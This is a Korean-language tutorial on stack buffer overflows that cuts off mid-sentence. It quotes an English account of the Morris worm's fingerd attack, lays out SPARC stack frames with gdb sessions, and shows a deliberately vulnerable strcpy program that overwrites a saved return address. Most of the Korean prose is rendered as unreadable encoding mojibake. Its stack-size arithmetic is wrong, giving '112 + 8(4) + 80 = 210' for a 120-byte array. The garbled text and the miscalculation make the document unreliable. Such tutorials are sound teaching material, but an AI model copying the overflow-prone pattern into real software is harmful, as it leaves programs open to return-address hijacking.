[Image] CERT, BugTraq ±×¿Ü vendorµéÀÇ report¸¦ º¸¸é ÃÖ±Ù¿¡ OverflowÀ¯ÇüÀÇ bug°¡ »ó´ç¼ö¸¦ Â÷ÁöÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. À̵é overflow bugµéÀº ÀÌ¹Ì ¿À·¡ÀüºÎÅÍ ¹ß°ßµÇ¾î¿Â °ÍÀÌÁö¸¸, ÀÌ·¸°Ô º»°ÝÀûÀ¸·Î ³ª¼­°Ô µÈ °ÍÀº ±×¸® ¿À·¡µÇÁö ¾Ê¾Ò´Ù. ¾ó¸¶Àü Phrack magazine 49È£¿¡ Aleph OneÀ̶ó´Â »ç¶÷ÀÌ ÀÌ overflow bug¸¦ ºÐ¼®ÇÏ¿© ¿Ã¸° ÀÌÈķδ »ó´ç¼öÀÇ bug°¡ ³ªÅ¸³ª°í ÀÖ´Ù. ±×·¸´Ù¸é ÀÌ overflow bug´Â ¾î¶»°Ô Çؼ­ µîÀåÇÏ°Ô µÇ¾ú´ÂÁö ±× ³»¿ë¿¡ ´ëÇؼ­ ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. 1. Overflow bugÀÇ ¿øÁ¶? In the fingerd attack, it tries to infiltrate systems via a bug in fingerd, the finger daemon. Apparently this is where most of its success was (not in sendmail, as was originally reported). When fingerd is connected to, it reads its arguments from a pipe, but doesn't limit how much it reads. If it reads more than the internal 512-byte buffer allowed, it writes past the end of its stack. After the stack is a command to be executed ("/usr/ucb/finger") that actually does the work. On a VAX, the worm knew how much further from the stack it had to clobber to get to this command, which it replaced with the command "/bin/sh" (the Bourne shell). So instead of the finger command being executed, a shell was started with no arguments. Since this is run in the context of the finger daemon, stdin and stdout are connected to the network socket, and all the files were sucked over just like the shell that sendmail provided. Overflow bugÀÇ ¿øÁ¶´Â ¾Æ¸¶ Morris Worm»ç°Ç¶§ »ç¿ëµÇ¾ú´ø fingerd attackÀ̾úÀ» °ÍÀÌ´Ù. ÀÌ wormÀº finger¿¡¼­ 512 byteÀÇ buffer¸¦ ¾²´Â °ÍÀ» ÀÌ¿ë, ±× ÀÌ»óÀÇ µ¥ÀÌÅ͸¦ Àü¼ÛÇÏ¿© finger°¡ /bin/shÀ» ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇÑ °ÍÀÌ´Ù. ´ç½Ã Morris Worm»ç°ÇÀº º¸¾È ¹®Á¦¸¦ ¼¼»ó¿¡ ¾Ë¸° Áß´ëÇÑ »ç°ÇÀ̾ú´Ù. 2. ±×·¯¸é overflow¶õ ¹«¾ùÀΰ¡? ¾Æ¸¶ UNIX¿¡¼­ C ÇÁ·Î±×·¡¹ÖÀ» ÇѹøÀÌ¶óµµ Çغ» »ç¶÷À̶ó¸é, Segmentation Fault¶ó´Â ¸»À» ½±°Ô Á¢ÇÒ ¼ö ÀÖ¾úÀ» °ÍÀÌ´Ù. ÀÌ ¿¡·¯¸¸Å­ Á¤¸» Áöµ¶ÇÏ°Ô debuggingÀÌ °ñ¾ÆÇ °ÍÀÌ ¾øÀ» °ÍÀÌ´Ù. ¹®Á¦´Â ÀÌ°ÍÀÌ ¹Ù·Î stack overflowÀÇ ½ÃÀÛÀ̶ó´Â °ÍÀÌ´Ù. ´ÙÀ½ ÇÁ·Î±×·¥À» º¸ÀÚ. void main(void) { int i; scanf("%d", i); } ¾Æ¸¶ ÇÑ´«¿¡ ¹®Á¦Á¡À» ¹ß°ßÇÑ »ç¶÷ÀÌ ¸¹À» °Å¶ó ¿©°ÜÁø´Ù. scanf¸¦ Çؼ­ iÀÎÀÚ¸¦ ³Ñ°ÜÁÙ ¶§, iÀÎÀÚ°ªÀÌ ¹Ù²î¾î µ¹¾Æ¿À·Á¸é i´Â ÁÖ¼Ò°¡ °¡¾ßÇÑ´Ù. ±×·¯³ª, ¿©±â¿¡ ÇöÀç iÀÇ ÇöÀç°ªÀÌ µé¾î°¡ ÀÖÀ¸¹Ç·Î, scanfÇÑ °ªÀº iÀÇ ÀÚ¸®¿¡ µé¾î°¡·Á ÇÏÁö ¾Ê°í ÇöÀç iÀÇ °ªÀ» ÁÖ¼Ò·Î ÆÇ´ÜÇÏ¿© ±× ÀÚ¸®¿¡ ¾²·Á°í ÇÏ°Ô µÈ´Ù. À̶§ ¿øÇÏÁö ¾Ê´Â ´Ù¸¥ memory ºÎºÐÀ» Á¢±ÙÇÏ·Á ÇÏ°Ô µÇ°í À̶§ error°¡ ÀϾ´Ù. ÄÄÆÄÀÏ »ó¿¡¼­´Â ÀÌ ¿¡·¯¸¦ üũÇÒ ¼ö ¾ø´Ù. ¿Ö³ÄÇϸé ÄÄÆÄÀÏÇÏ´Â ´ç½Ã¿¡´Â ÀÌµé °ªÀÌ ¾î¶»°Ô ¸Å°ÜÁú Áö ¾Ë ¼ö ¾ø±â ¶§¹®ÀÌ´Ù. 3. stackÀ̶õ ¹«¾ùÀΰ¡? StackÀÌ ¹«¾ùÀÎÁö ¸ð¸£´Â »ç¶÷Àº ¸¹Áö ¾ÊÀ» °ÍÀ̶ó »ý°¢ÇÑ´Ù. StackÀº LIFOÁï ³ªÁß¿¡ µé¾î¿Â °ÍÀÌ ¸ÕÀú ³ª°£´Ù´Â °³³äÀ» °¡Áø ±â¾ïÀå¼Ò¸¦ ¸»ÇÑ´Ù. ±×·¯³ª, ÀÌ ±Û¿¡¼­ ¸»ÇÏ°íÀÚ ÇÏ´Â °ÍÀº ÀÌ stackÀÌ ¾Æ´Ï´Ù. UNIX¿¡¼­ ¾î¶² ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ´Â ¶§¿¡´Â ¸Þ¸ð¸®¸¦ ´ÙÀ½°ú °°Àº ±¸Á¶·Î »ç¿ëÀ» ÇÑ´Ù. »ç½ÇÀº À¯ÀúÀÇ ÀÔÀå¿¡¼­ º¸´Â ¸Þ¸ð¸® ±¸Á¶·Î °¡»óÁÖ¼Ò°ø°£(virtual memory space)ÀÌ´Ù. ÀÌ Çü½ÄÀº COFF memory layoutÇüÅÂ¿Í ºñ½ÁÇÑ ÇüÅÂÀÌ´Ù. [Image] TextºÎºÐÀº ½ÇÇàµÇ´Â ÇÁ·Î¼¼½ºÀÇ ÇÁ·Î±×·¥ÀÌ µé¾îÀÖ´Â ÀÚ¸®ÀÌ´Ù. ÀÌ °÷Àº Æò»ó½Ã¿¡ Read-Only·Î ÀÚ¸®¸Å±è µÇ¾î¼­ ÀÌ°÷¿¡ ¾î¶² ½ÄÀ¸·Îµç data¸¦ ¾²·Á°í ÇÒ ¶§ Segmentation ViolationÀÌ ÀϾ°Ô µÈ´Ù. Áß°£¿¡ À§Ä¡ÇÑ Initialized data¶ó´Â °ÍÀº ±âÁ¸¿¡ ÀÌ¹Ì ¼³Á¤µÇ¾î ÀÖ´Â dataµé, ±×¸®°í, static variableµîÀÇ ÀÏÁ¤ÇÑ ÀÚ¸®¸¦ °¡Áö´Â °ÍµéÀÌ À§Ä¡ÇÏ´Â Àå¼ÒÀÌ´Ù. printf("%d %s\n", x, y); ÇÁ·Î±×·¥¿¡ À§¿Í °°Àº ºÎºÐÀÌ ÀÖ´Ù¸é "%d %s"°°Àº °ÍµéÀº ÀÌ ºÎºÐ¿¡ µé¾î°¡ À§Ä¡ ÇÏ°í ÀÖ´Ù°¡ ÇÊ¿äÇÑ ¶§°¡ µÇ¸é °¡Á®´Ù ¾²ÀÌ°Ô µÈ´Ù. ±×·¯¸é stackÀº ¹«¾ùÀΰ¡? stackÀº Àӽ÷Π±â¾ïµÇ¾î¾ß ÇÏ´Â ³»¿ëÀ» ´ã´Â ºÎºÐÀÌ´Ù. SP¶ó´Â register¿¡ ÀÇÇؼ­, ±× À§Ä¡°¡ ÀÚ¸® ¸Å±èµÇ¸ç, À§ ±×¸²¿¡ ³ªÅ¸³­ È­»ìÇ¥´ë·Î °Å²Ù·Î Ä¿³ª°¡´Â ¸Þ¸ð¸® regionÀÌ´Ù. ´ÙÀ½ ÇÁ·Î±×·¥À» ¿¹¸¦ µé¾îº»´Ù. int shit(int j) { int i; i = j * 4; return(i); } void main(void) { int i, j; j = 10; i = shit(j); printf("%d\n", i); } À§¿¡ main¿¡ ¾²ÀÎ i, j º¯¼öµéÀº ¸ðµÎ ÀϽà ±â¾ïÀå¼ÒÀÌ´Ù. shit¿¡ ¾²ÀÎ i ¶ÇÇÑ ÀϽà ±â¾ï Àå¼ÒÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥Àº main¿¡¼­ ½ÃÀÛÇÏ¿©, shitÀ» ºÒ·¶´Ù°¡ mainÀ¸·Î µ¹¾Æ¿Â´Ù. ±×·¯¸é ÀÌµé °ªµéÀº ¾î¶² ¹æ½ÄÀ¸·Î ¸Þ¸ð¸®¿¡ ÀúÀåµÇ¸é¼­ °è»êÀÌ µÉ±î? ÀÏ´Ü °¡»óÀûÀ¸·Î ÀÌµé º¯¼öµéÀÌ ÀÚ¸®Àâ´Â ¹æ¹ý¿¡ ´ëÇؼ­ À̾߱â Çغ¸°Ú´Ù. ¸ÕÀú main¿¡¼­ i, j¸¦ ó¸®Çϱâ À§Çؼ­ integerÅ©±âÀÇ ¹æÀ» µÎ°³¸¦ Àâ´Â´Ù. (1) [Image] ±×´ÙÀ½ shitÀÌ callµÇ¸é, shit¿¡ ÀÖ´Â i, jÀÚ¸®°¡ ÀâÈù´Ù. (2) [Image] ±× ÀÌÈÄ, shit¿¡¼­ °è»êÀÌ ³¡³ª°Ô µÇ¸é shitÀÇ i, j variableµéÀº ´õÀÌ»ó ÇÊ¿ä°¡ ¾ø°Ô µÇ°í, ±×¸®°í ³ª¸é ´Ù½Ã main¿¡ i,j ¸¸ÀÌ ³²´Â´Ù. [Image] main¸¶Àú ³¡³ª¸é i, j ¸¶Àú »ç¶óÁø´Ù. ..... À§ÀÇ ¹æ½ÄÀÌ ¹Ù·Î ÇÁ·Î¼¼½º¿¡¼­ StackÀÌ ÀÚ¸® ÀâÈ÷´Â ¹æ¹ýÀÌ´Ù. À̶§ stackÀÇ ¸Ç »óÀ§¸¦ SP register°¡ °¡¸£Å°°Ô µÈ´Ù. 4. ¿¹) solaris/SPARC code ÀÌ ±Û¿¡¼­´Â ÀÏÁ¾ÀÇ CASE STUDY·Î solaris/SPARC code¸¦ ¾²±â·Î ÇÏ°Ú´Ù. Á¶¸¸°£ ³ªÅ¸³ª°ÚÁö¸¸, ÀÌ ºÎºÐÀº machine code¸¦ Á÷Á¢ »ç¿ëÇÏ´Â ºÎºÐÀ̹ǷÎ, °¢ OS¸¶´Ù ´Ù¸¥ Á¡µéÀÌ Á¸ÀçÇÑ´Ù. ÇöÀç x86°è¿­ÀÇ °ÍµéÀº ¸¹ÀÌ ³ª¿Í ÀÖ´Â »óÅÂÀ̹ǷÎ, solaris/SPARC code¸¦ »ç¿ëÇϱâ·Î ÇÑ´Ù. solaris/SPARC assembly code°¡ ´Ù¸¥ °Í°ú °¡Áö´Â Â÷ÀÌÁ¡Àº ¸ðµç instructionÀº 4byteÅ©±â·Î ÀÏÁ¤ÇÏ°Ô Á¤ÇØÁø´Ù´Â °ÍÀÌ´Ù. Intel x86°è¿­ÀÇ ¸í·É¾î´Â ¸í·É¿¡ µû¶ó ¸í·É¾î Å©±â°¡ °¡º¯ÀûÀ¸·Î º¯ÇÑ´Ù. ¶ÇÇÑ ´Ù¸¥ dataµî ¸ðµç ´ÜÀ§´Â 4byte°è¿¡ ¸ÂÃß¾îÁ® ÀÖ´Ù. °á±¹ memory¿¡ Á¸ÀçÇÏ´Â ¸ðµç °ÍµéÀº ÀüºÎ 4byte´ÜÀ§·Î ÂÉ°³Á®¼­ ¼­·Î °ãÄ¡°Å³ª Ãæµ¹ÇÏ´Â °ÍÀÌ Á¸ÀçÇÏÁö ¾Ê´Â´Ù. ¾î¶² functionÀÌ ºÒ¸®¿ö Áú ¶§, (assembly·Î´Â call¸í·ÉÀÌ µÈ´Ù), ±× address¸¦ °¡Áö°í ºÎ¸¥´Ù. ±×·¯¸é Àû¾îµµ ºÒ¸®¿öÁø ÇÔ¼ö´Â return address¸¦ ÀúÀåÇÏ°í ÀÖ¾î¾ß¸¸ ÇÑ´Ù. ±×·¡¾ß¸¸ ±×ÂÊ ÇÔ¼öºÎºÐÀ» ½ÇÇàÇÏ´Ù°¡ ´Ù½Ã ¿ø·¡ ½ÇÇàµÇ´ø ÀÚ¸®·Î µ¹¾Æ¿Ã ¼ö Àֱ⠶§¹®ÀÌ´Ù. ÀÌ return address´Â stack region¿¡ µé¾î°£´Ù. ¶ÇÇÑ stack region¿¡ µé¾î°¡ ÀÖ¾î¾ß ÇÏ´Â °Íµé¿¡´Â ÀÌ ÇÔ¼öÃø¿¡¼­ ´Ù¸¥ ÇÔ¼ö¸¦ callÇÒ ¶§ ÁÖ´Â ÀÎÀÚµéÀÌ´Ù. ¾îµò°¡¿¡´Â ÀúÀåÀ» ÇÏ°í ÀÖ¾î¾ß¸¸ ÇÏ´Â °ªÀÌÁö¸¸, ÇÔ¼ö°¡ ³¡³ª°í ³ª¸é ¶ÇÇÑ ¾µ¸ð ¾ø´Â °ªµéÀ̱⠶§¹®ÀÌ´Ù. ÀÚ ±×·¯¸é solaris/SPARC¿¡¼­ ¾î¶² ¹æ½ÄÀ¸·Î stack regionÀ» Àâ´ÂÁö ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. ¸ÕÀú ´ÙÀ½ ÇÁ·Î±×·¥À» º¸ÀÚ. void shit(void) { } void main(void) { shit(); } À§ ÇÁ·Î±×·¥Àº ¾Æ¹« Àϵµ ÇÏÁö ¾Ê´Â °ÍÀÌ´Ù. ´ÜÁö main¿¡¼­ shitÀ» ºÎ¸£°í ³¡³ª´Â ÇÁ·Î±×·¥ÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥À» GDB¸¦ ÀÌ¿ëÇÏ¿© ´ÙÀ½°ú °°ÀÌ ºÐ¼®ÇØ º¼ ¼ö ÀÖ´Ù. (gdb) disassemble main Dump of assembler code for function main: 0x10684
: save %sp, -112, %sp 0x10688 : call 0x10678 0x1068c : nop 0x10690 : ret 0x10694 : restore End of assembler dump. (gdb) disassemble shit Dump of assembler code for function shit: 0x10678 : save %sp, -112, %sp 0x1067c : ret 0x10680 : restore End of assembler dump. (gdb) À§¿¡¼­ save %sp, -112, %sp¸í·ÉÀº ÇöÀç Á¸ÀçÇÏ´Â sp°ªÀ» ÀúÀåÇÏ°í, sp¸¦ ÇöÀç °ª¿¡¼­ 112¸¸Å­ »©¶ó´Â ÀǹÌÀÌ´Ù. stackÀº higher memory¿¡¼­ ½ÃÀÛÇÏ¿©, Á¡Á¡ lower memory·Î ¿Ã¶ó¿À´Â ÇüÅÂÀÇ memory¶ó°í Çß´Ù. ±×·¯¹Ç·Î, 112¸¦ »«´Ù´Â °ÍÀº stack regionÀº 112¸¸Å­ Ãß°¡ÇÑ´Ù´Â Àǹ̰¡ µÈ´Ù. ±×·±µ¥, º¸¸é main¿¡µµ 112°¡, shit¿¡µµ 112°¡ Ãß°¡µÇ¾ú´Ù. ¾çÂÊÀÇ Â÷ÀÌÁ¡Àº main¿¡´Â callÀÌ ÀÖ´Ù´Â °ÍÀε¥, Àâ´Â stack regionÀº µ¿ÀÏÇÏ´Ù. ±×·± Àǹ̿¡¼­ stack region³»¿¡ return °ªÀÌ ÀâÈù´Ù°í °¡Á¤ÇÒ ¼ö ÀÖ´Ù. ¿©±â¼­ °©Àڱ⠰dzʶٴ °ÍÀÌ ÀÌ»óÇÒ Áö ¸ð¸£Áö¸¸ ±ä ¼³¸íÀ» Á¦ÇÏ°í ÀÌ 112byte¿¡ ´ëÇؼ­ ¼³¸íÇϵµ·Ï ÇÏ°Ú´Ù. [Image] À§ÀÇ ±×¸²Àº ½ÇÁ¦·Î Á÷Á¢ GDB¸¦ µ¹·Á°¡¸é¼­ ã¾Æ³½ stack memory mapÀÌ´Ù. ¾î¶² ÇÔ¼ö°¡ óÀ½¿¡ callÀÌ µÇ¸é, ±×°ÍÀº ´ëü·Î(!) ÃÖ¼Ò 112 byte¸¦ stack regionÀ¸·Î Àâ´Â´Ù. À̶§ stack regionÀº À§¿Í °°ÀÌ ÀâÈ÷°Ô µÈ´Ù. óÀ½ 32 byte´ÙÀ½, 24 byte´Â ÀÌÀüÀÇ functionÀ¸·Î ºÎÅÍ ¹Þ¾Æ¿Â argumentµéÀ» ´ã¾ÆµÎ´Â Àå¼ÒÀÌ´Ù. ÃÖ´ë 6°³±îÁö ´ã´Â´Ù. ±×´ÙÀ½ÀÇ 4byte´Â sfp°ªÀ¸·Î, ÀÌÀü functionÀÇ sp°ªÀ» Áö´Ñ´Ù. ±×´ÙÀ½ÀÇ 4byte´Â ret°ªÀ¸·Î, ÀÌÀü function¿¡¼­ callµÇ¾ú´ø ÁÖ¼Ò¸¦ Áö´Ï°í ÀÖ´Ù. ÇÔ¼ö°¡ ½ÇÇàµÇ´Ù°¡ ³¡³ª¸é ÀÌ °ªÀ» ÀÌ¿ëÇؼ­ ¿ø·¡ ÇÔ¼ö·Î µ¹¾Æ°¡°Ô µÇ¾îÀÖ´Ù. ret°ªÀº stack overflow¿¡¼­ °¡Àå Áß¿äÇÑ °ªÀ̹ǷÎ, ²À À§Ä¡¸¦ ±â¾ïÇØ µÎ±æ ¹Ù¶õ´Ù. ±×´ÙÀ½ 4byte´ÙÀ½¿¡, 24 + 8*x¶ó°í Ç¥ÇöÇÑ ºÎºÐÀÌ Àִµ¥, ÀÌ°ÍÀº ÀÌ ÇÔ¼ö¿¡¼­ È£ÃâÇÑ ´Ù¸¥ ÇÔ¼ö¿¡ ÀüÇØÁÖ´Â argument¸¦ ´ã´Â ºÎºÐÀÌ´Ù. ¿ø·¡ 24byte°¡ ÇÒ´çµÇ¾î argumentÇϳª´ç 4byte¾¿ Àâ¾ÆÁÖ°í ÀÖÀ¸¸ç, ÃÖ´ë 6°³±îÁö´Â ±×³É ´ã°í, 6°³ ÀÌ»óÀÇ argument¸¦ ³Ñ°ÜÁÖ¾î¾ß ÇÏ´Â °æ¿ì¿¡´Â 8byte¾¿ °¡º¯ÀûÀ¸·Î ´Ã·Á°¡¸é¼­ Àâµµ·Ï µÇ¾î ÀÖ´Ù. ÀÌ ºÎºÐ¿¡ ÀÇÇؼ­ stack regionÀÌ 112byte¸¦ ³ÑÀ» ¼ö ÀÖ´Ù. ±×´ÙÀ½ 4byteÈÄ¿¡ ³ªÅ¸³ª´Â 8*y´Â ÀÌ ÇÔ¼ö¿¡¼­ ¾²´Â ÀÚµ¿º¯¼öµéÀ» À§ÇÑ ºÎºÐÀÌ´Ù. ¿ø·¡ ÀüÇô ÇÒ´çµÇ¾î ÀÖÁö ¾ÊÀºµ¥, º¯¼ö°¡ ¼±¾ðµÇ¸é ±× ¸¸Å­ÀÇ stack regionÀ» Ãß°¡Çϵµ·Ï µÇ¾î ÀÖ´Ù. size°¡ ¾Æ¹«¸® À۾Ƶµ 8byte¸¦ ±âÁØÀ¸·Î ÇÒ´çÇÑ´Ù. ÇÔ¼ö³»¿¡¼­ º¯¼ö°¡ ¼±¾ðµÇ´Â ¸¸Å­ ÀÌ ºÎºÐÀÌ ´Ã¾î³ª±â ¶§¹®¿¡, stack region 112¸¦ ³Ñ±â´Â ÁÖ ¿øÀÎÀÌ µÈ´Ù. ¿©±â¿¡¼­ »ìÆ캼 °ÍÀº ÀÎÀÚ°¡ 6°³ ÀÌ»óÀ¸·Î ±¸¼ºµÇ´Â °æ¿ì°¡ ±×´ÙÁö ¾ÊÁö ¾ÊÀ¸¹Ç·Î, 112¸¦ ³Ñ±ä ½ºÅà ÇÁ·¹ÀÓ Å©±âÀÇ ´ëºÎºÐÀº ÀÌ ÀÚµ¿º¯¼ö ºÎºÐÀ̶ó´Â °ÍÀÌ´Ù. ¾ð¶æ º¸¾Æ ³Ñ°åÀ»Áö ¸ð¸£Áö¸¸, À§ ±×¸²¿¡¼­ ¸Ç ¿À¸¥ÂÊ¿¡ º¸¸é fp¶ó´Â °ÍÀÌ Àִµ¥, ÀÌ°ÍÀº frame pointer·Î ÀÌ stackºÎºÐ¿¡¼­ÀÇ ³¡ºÎºÐÀ» ÁöÁ¤ÇÏ°í ÀÖ´Ù. ÇÑ ÇÔ¼ö¿¡¼­ Àâ´Â stackÀÇ Å©±â´Â (fp - sp) byte°¡ µÈ´Ù. ÀÚ ±×·¯¸é À§¿¡ ÀÖ´Â ¿¹Á¦ ÇÁ·Î±×·¥ÀÌ ¾î¶² ¹æ½ÄÀ¸·Î memory¿¡ µé¾î°¬À»Áö »ý°¢ÇØ º¸µµ·Ï ÇÑ´Ù. main¿¡¼­´Â ´ÜÁö shitÀ» callÇßÀ» »ÓÀ̾ú°í, shit¿¡¼­´Â ±×³É return¸¸ ÇÏ°í ¿Ô´Ù. ±×¸®°í µÎ ÇÔ¼ö ¸ðµÎ 112byte¸¸À» ÇÒ´çÇÏ°í ÀÖ´Ù. ±×·¯¸é ´ë·« memory mapÀº ´ÙÀ½°ú °°ÀÌ ±¸¼ºµÉ °ÍÀÌ´Ù. [Image] À§ÀÇ ±×¸²Àº shitÀÌ ½ÇÇàµÉ ´ç½ÃÀÇ mapÀ̸ç mainÀÌ ½ÇÇàµÉ ¶§´Â shitºÎºÐÀÇ stackÀº Á¸ÀçÇÏÁö ¾Ê´Â´Ù(!). shit³»ÀÇ ret¿¡´Â main¿¡¼­ callµÇ´ø ºÎºÐÀÇ address°¡ µé¾îÀÖ´Ù. main³»ÀÇ ret¿¡´Â mainÀÌ Ã³À½ callÀÌ µÈ ÀÌÀüÀÇ ÇÔ¼ö¿¡¼­ ½ÇÇàµÇ´ø ºÎºÐÀÇ address°¡ µé¾îÀÖ´Ù. (»ç½Ç mainÇÔ¼ö¶ÇÇÑ ´Ù¸¥ ÇÔ¼ö¿Í ¸¶Âù°¡Áö·Î ¶È°°ÀÌ returnÇÑ´Ù. ¿ì¸®´Â Àß ¾ËÁö ¸øÇÏÁö¸¸, mainÀº start()¶ó´Â ÇÔ¼ö¿¡ ÀÇÇؼ­ ºÒ¸®¿öÁø´Ù.) ±×·¯¸é ½ÇÁ¦·Î ¸Þ¸ð¸®¿¡ ¾î¶»°Ô ÀâÈ÷´ÂÁö GDB¸¦ ÅëÇؼ­ Á÷Á¢ ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. ´ÙÀ½Àº GDB¸¦ µ¹¸° ½ÇÁ¦ ¿¹ÀÌ´Ù. (gdb) break shit ---------- Breakpoint 1 at 0x1067c: file a.c, line 2. %% 'break shit'À¸·Î óÀ½¿¡ ¸ÕÀú shit¿¡¼­ ÀϽà Á¤ÁöÇϵµ·Ï ÁöÁ¤Çسõ´Â´Ù. (gdb) run --- Starting program: /member/seoro/work/overflow-basics/a.out Breakpoint 1, shit () at a.c:2 2 {} %% 'run'À» ÀÔ·ÂÇÏ¿© ½ÇÇà½ÃÅ°¸é shit()ºÎºÐ¿¡¼­ ÀϽà Á¤ÁöÇÏ¿´´Ù. (gdb) info reg sp fp -------------- sp 0xeffffca8 -268436312 fp 0xeffffd18 -268436200 %% info reg¸í·ÉÀ» ÀÌ¿ëÇÏ¿©, sp¿Í fpÀÇ °ªÀ» ¾Ë¾Æº¸´Ï °¢°¢ 0xeffffca8°ú 0xeffffd18·Î ÀâÇô ÀÖ´Ù. (gdb) x/wx 0xeffffca8+60 ------------------ 0xeffffce4 <_end+8714356>: 0x00010688 %% x/wx ¸í·ÉÀ» ÀÌ¿ë sp¿¡¼­ 60¸¸Å­ ¶³¾îÁø °ª(RET)À» Á¶»çÇÏ´Ï 0x10688À̾ú´Ù. (gdb) x/wx 0xeffffca8+56 ------------------ 0xeffffce0 <_end+8714352>: 0xeffffd18 %% x/wx¸í·ÉÀ» ÀÌ¿ë sp¿¡¼­ 56¸¸Å­ ¶³¾îÁø °ª(SFP)À» Á¶»çÇÏ´Ï 0xeffffd18ÀÌ´Ù. (gdb) s --- main () at a.c:4 4 { shit(); } %% ÇÑ´Ü°è ´õ ¼öÇàÇÏ´Ï shit()À» ºüÁ®³ª¿Í¼­ mainÀ¸·Î µ¹¾Æ¿Ô´Ù. (gdb) info reg fp sp -------------- fp 0xeffffd88 -268436088 sp 0xeffffd18 -268436200 %% sp ¿Í fp °ªÀ» Á¶»çÇÏ´Ï, 0xeffffd88°ú 0xeffffd18À̾ú´Ù. (gdb) disassemble main ---------------- Dump of assembler code for function main: 0x10684
: save %sp, -112, %sp 0x10688 : call 0x10678 0x1068c : nop 0x10690 : ret 0x10694 : restore End of assembler dump. (gdb) %% mainÀ» disassembleÇÏ¿© »ìÆ캸´Ï callÀÌ ºÒ¸®¿öÁø À§Ä¡°¡ ¹Ù·Î 0x10688·Î À§¿¡¼­ ã¾Æº¸¾Ò´ø RET°ª°ú ÀÏÄ¡ÇÏ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ÀÌÁ¦ À§¿¡¼­ ´ë·« ±×·Á³õ¾Ò¾ú´ø memory map¿¡ ½ÇÁ¦ °ªÀ» ³Ö¾î¼­ ¿Ï¼ºÇÒ ¼ö ÀÖ°Ô µÇ¾ú´Ù. ½ÇÁ¦·Î ±¸ÇÑ sp, fp°ª°ú ret°ªµîÀ» Ãß°¡ÇÏ¿© ´ÙÀ½°ú °°ÀÌ º¯È­½Ãų ¼ö ÀÖ´Ù. [Image] 5. Overflow´Â ¾î¶»°Ô Çϴ°¡? ÀÌÁ¦ Overflow¶ó´Â °³³äÀ» ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. ¹é¹®ÀÌ ºÒ¿©ÀÏ°ßÀ̶ó°í ÇÑ ÇÁ·Î±×·¥À» °¡Áö°í ¼³¸íÇغ¸µµ·Ï ÇÏ°Ú´Ù. void shit(char *in) { char ex[24]; strcpy(ex, in); } void main(void) { int i; char in[120]; for(i = 0; i < 120; i++) in[i] = 'a'; shit(in); } À§ÀÇ ÇÁ·Î±×·¥Àº 120byteÂ¥¸® Å©±âÀÇ inÀ̶ó´Â char¹è¿­¿¡ 'a'¶ó´Â ¹®ÀÚ¸¦ ¸ðµÎ ä¿î´Ù. ±×¸®°í ³ª¼­ ÀÌ°ÍÀ» shitÇÔ¼ö·Î ³Ñ°ÜÁÖ°í, shitÇÔ¼ö¿¡ 24byteÂ¥¸®ÀÇ char¹è¿­ÀÌ Àִµ¥, ÀÌ°÷¿¡ ³Ñ°ÜÁØ inÀ̶ó´Â char¹è¿­À» copyÇÑ´Ù. ÀÌÁ¦ À§ ÇÁ·Î±×·¥ÀÇ ¼öÇàµÉ ¶§¸¦ »ý°¢Çغ¸ÀÚ. ex¶ó´Â ¹è¿­Àº 24byte·Î bound(!)µÇ¾î ÀÖ°í, inÀº ±×°Íº¸´Ù ÈξÀ Å« 120byte°¡ ÇÒ´çµÇ¾î ÀÖ´Ù. ex¶ó´Â °÷¿¡ inÀ» copyÇÏ¸é ¾î¶»°Ô µÇ´Â°¡? ´äÀº ±×³É copyÇÑ´Ù´Â °ÍÀÌ´Ù. ¹®Á¦´Â ¿©±â¿¡¼­ Ãâ¹ßÇÑ´Ù. ÀÚ, À§ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏÇÏ¿© ½ÇÇàÇغ¸ÀÚ. ¾î¶»°Ô µÇ´Â°¡? % gcc -g a.c % a.out ¹ö½º ¿À·ù(Bus Error) (¸Þ¸ð¸®°¡ ´ýÇÁµÊ) % À§ ÇÁ·Î±×·¥ÀÇ memory mapÀ» ±×·Áº¸¸é ´ë°­ ´ÙÀ½°ú °°À» °ÍÀÌ´Ù. [Image] ¾Æ±î 4Àå¿¡¼­ º¸¸é, ±âº»ÀûÀ¸·Î stack regionÀº 112 byte¸¦ Àâµµ·Ï µÇ¾î ÀÖ¾ú´Ù. À̹ø mainÇÔ¼ö¿¡¼­´Â intº¯¼ö¿Í char 80byteº¯¼ö ÀÌ·¸°Ô µÎ°³¸¦ ¼±¾ðÇÏ¿´À¸¹Ç·Î, 112 + 8(4) + 80 = 210 byte¸¦ ¹èÁ¤ÇÑ´Ù. intº¯¼ö´Â Å©±â°¡ 4byteÀÌÁö¸¸, º¯¼ö¸¦ ¸Þ¸ð¸®¿¡ ÀâÀ» ¶§ ±âº»ÀÌ 8byte¾¿À̹ǷÎ, intº¯¼ö¸¦ À§Çؼ­ 8byte¸¦ ÇÒ´çÇÑ´Ù. shitÀº exº¯¼ö°¡ 24byteÀâ°í ÀÖÀ¸¹Ç·Î, 112 + 24 = 136 byte¸¦ ÇÒ´çÇÑ´Ù. ÀÌÁ¦ À§ ÇÁ·Î±×·¥°ú ºñ±³Çغ¸ÀÚ. ex¶ó´Â ¹è¿­¿¡ 120byteÀÇ ³»¿ëÀ» µ¤¾î¾²°Ô µÇ¸é ex°¡ Àâ°í ÀÖ´Â 24byte¸¦ ä¿ì°í, ±× µÚÀÇ 16byte¸¦ ä¿î´ÙÀ½, ³ª¸ÓÁö 80byte ±×´ë·Î mainÀÌ Àâ°í ÀÖ´Â stack¿µ¿ª¿¡ º¹»çµÇ°Ô µÈ´Ù. [Image] ret°¡ À§Ä¡ÇÑ ºÎºÐÀÌ mainÀÇ sp¿¡¼­ 60byte¿¡ ÀÖ¾úÀ¸¹Ç·Î, mainÀÇ ret°ª¸¶Àú ¹Ð¸®°Ô µÇ°í, main¿¡ ÀÖ´Â ret°ªÀº 'a''a''a''a' °ð 0x61616161·Î setÀÌ µÈ´Ù. ±×·¯¸é shitÇÔ¼ö¸¦ ºüÁ®³ª¿Í¼­ mainÀ¸·Î µ¹¾Æ¿Â´ÙÀ½, mainÇÔ¼ö¸¦ ºüÁ®³ª°¡·Á´Â ¼ø°£¿¡ 0x61616161·Î °¡·Á°í 